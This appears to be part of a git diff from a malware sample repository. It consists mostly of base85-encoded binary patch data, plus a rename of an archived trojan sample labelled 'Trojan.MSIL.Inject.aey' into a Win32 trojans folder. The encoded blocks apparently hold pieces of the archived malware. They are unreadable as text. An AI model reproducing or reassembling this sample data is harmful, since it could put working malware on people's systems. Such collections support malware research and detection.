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 F9 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 delta 10 Scmexxk9qrCrj6&f_W=MQHU;ef diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/ed404015d077ea06 b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.aey-9.7z similarity index 59% rename from MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/ed404015d077ea06 rename to Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.aey-9.7z index 7023412a637eea5419c811f25d332635916d7580..a628a60102dcd498e3b7f5c4f2821c0f247793eb 100644 GIT binary patch delta 24976 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 